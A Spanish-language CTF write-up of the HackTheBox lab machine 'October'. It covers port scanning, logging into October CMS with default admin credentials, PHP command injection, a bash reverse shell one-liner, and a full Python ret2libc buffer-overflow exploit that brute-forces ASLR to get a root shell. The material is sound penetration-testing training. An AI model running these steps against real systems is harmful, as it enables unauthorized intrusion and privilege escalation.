October | CTF Writeup - HackTheBox
October
Para empezar, haremos un primer escaneo con
nmap
para ver puertos y servicios corriendo en la máquina a atacar.
1
2
3
4
5
6
7
8
9
10
11
12
13
> nmap -sS -p- --open -T5 -vvv -Pn -n -oN scan.txt 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.29s latency).
Scanned at 2024-03-19 01:40:49 -03 for 457s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Mar 19 01:48:26 2024 -- 1 IP address (1 host up) scanned in 456.51 seconds
Luego de esto, sigue hacer un escaneo más exhaustivo, verificando las versiones de los servicios que corren en esos puertos. Esto lo haremos con los parámetros
-sCV
de nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> nmap -sCV -p22,80 -Pn -n -oN versions.txt 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 19 01:49:33 2024 -- 1 IP address (1 host up) scanned in 19.38 seconds
Vemos que es un servidor HTTP el que corre por el puerto 80. Si nos metemos a la web veremos lo siguiente.
Haciendo una rápida enumeración con la herramienta
gobuster
, encontramos un directoriobackend
que podría llegar a ser crítico. Es un panel para este gestor de contenidos.
1
> gobuster dir -u http://10.10.10.16 --add-slash -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html
Efectivamente, es un panel de login para el CMS que en este caso sería October.
Si probamos credenciales por defecto, como por ejemplo,
admin:admin
, seremos capaces de entrar al panel.
Modificamos el archivo
default.htm
para inyectar nuestro código. Esto lo haremos utilizando la manera que nos da OctoberCMS para ejecutar código PHP. Para ver más, visitar este artículo.
Colocamos nuestra variable
cmd
en una etiquetah1
dentro de la web.
Nos vamos a la página y ejecutamos cualquier comando. Por ejemplo, ejecutaremos el comando
whoami
.
Nos ponemos en escucha desde nuestro equipo con
sudo nc -nlvp {nuestroPuerto}
. Luego, en la URL, inyectaremos el comandobash -c 'bash -i >& /dev/tcp/{nuestraIp}/{nuestroPuerto} 0>&1'
.
Ya estamos dentro! Ahora enumeramos el sistema buscando por archivos SUID que tengan como usuario
root
para poder escalar privilegios. Esto lo haremos con el comandofind / -user root -perm -4000 2>/dev/null
.
Vemos un archivo
/usr/local/bin/ovrflw
. Además está el/usr/bin/pkexec
que se podría explotar con PwnKit, pero no es la finalidad de la máquina.
Intentamos leer funciones del binario ejecutable con el comando
strace
. Se está ejecutando una función vulnerable. En este caso, es la funciónwrite
.
Sabemos que es vulnerable a un Buffer Overflow. Vamos a inspeccionar más a fondo el archivo pasándolo a nuestra máquina. Nos ponemos en escucha desde nuestro lado con
nc -lp 5000 > ovrflw
.
Antes de hacer algo, checkeamos si tiene el ASLR (Address space layout randomization) habilitado. Esto lo hacemos viendo el descriptor de archivo
/proc/sys/kernel/randomize_va_space
.
Como vale 2, esto quiere decir que está habilitado y las direcciones de memoria de los DLL y demás serán aleatorizadas. Además, si nos fijamos en el ejecutable con la herramienta
gdb
, tiene el bit NX flageado.
Esto marca una página de la memoria virtual del binario (una página tiene un tamaño de 4kb, generalmente) en donde sólo se puede leer datos, más no se pueden ejecutar. Por ende, cuando intentemos inyectar nuestro shellcode, este no se ejecutará porque este bit esta habilitado.
Para combatir esta prevención de ejecución, estaremos encarando el Buffer Overflow con el fin de llegar a hacer la técnica
ret2libc
: la misma consiste en reescribir el Instruction Pointer (EIP) para que apunte a lasyscall
system() de la librería libc, ejecutando lo que sea que queramos ejecutar. En este caso, como el binario es SUID y su propietario es root, queremos ganar una consola, por lo que queremos llegar a que se ejecute algo del estilosystem("/bin/sh")
.Para ello, se debe pasar al EIP la dirección de la función system, seguido de la dirección de retorno, mas la dirección del string
"/bin/sh"
que vive dentro de libc.
El EIP nos debería quedar de la siguiente forma: EIP = &system + &exit + ‘/bin/sh’, donde el & indica que es una dirección de memoria.
Primeramente, antes de ingeniar todo esto, calculemos el offset para llegar al EIP. Con la herramienta
peda
haremos unpattern create 300
y se lo pasaremos al programa.
Nos fijamos el offset del EIP con
pattern offset $eip
.
Ahora bien, teniendo esta información, debemos buscar la dirección en memoria de libc. Pero como se encuentra aleatorizada por el ASLR, tendremos que elegir una dirección de memoria en específico.
Con
ldd
podemos ver los DLLs utilizados por el binario. La dirección de memoria de libc en este caso es0xb758d000
, pero si ejecutamos otra vez el mismo comando, cambiará a otra dirección. Si ejecutamos varias veces, puede que aparezca la misma dirección más de una vez. Usaremos esto a nuestra ventaja para ejecutar el binario varias veces hasta que aparezca la dirección de memoria que hayamos elegido.
Nos fijamos la dirección de system y de exit.
Ahora buscamos la dirección de memoria del string “/bin/sh” en libc con
strings
.
Listo! tenemos 3 direcciones de memoria base (no aleatorizadas) para poder trabajar.
System()
: 0x00040310Exit()
: 0x00033260/bin/sh
: 0x00162BAC
Ahora elegimos una de las direcciones aleatorizadas que haya salido cuando ejecutamos
ldd ovrflw
. Por ejemplo, elegimos la dirección 0xB75DF000. Ahora debemos sumarle a las 3 direcciones que encontramos, esta dirección que elegimos.
System()
(Aleatorizado): 0x00040310 + 0xB75DF000Exit()
(Aleatorizado): 0x00033260 + 0xB75DF000/bin/sh
(Aleatorizado): 0x00162BAC + 0xB75DF000
Procedemos a hacer nuestro script en python para poder explotar este Buffer Overflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from struct import pack
import subprocess
padding = b"A"*112
address_of_libc=0xb75df000
#Base addresses without randomization
exit_addr_off=0x00033260
system_addr_off=0x00040310
binsh_addr_off=0x00162bac
#Addresses with the randomization by adding the offset of libc
system_addr=pack("<I", system_addr_off + address_of_libc)
exit_addr=pack("<I", exit_addr_off + address_of_libc)
binsh_addr=pack("<I", binsh_addr_off + address_of_libc)
payload = padding + system_addr + exit_addr + binsh_addr
while True:
output = subprocess.call(["/usr/local/bin/ovrflw", payload])
De esta manera, ganamos una
/bin/sh
como root.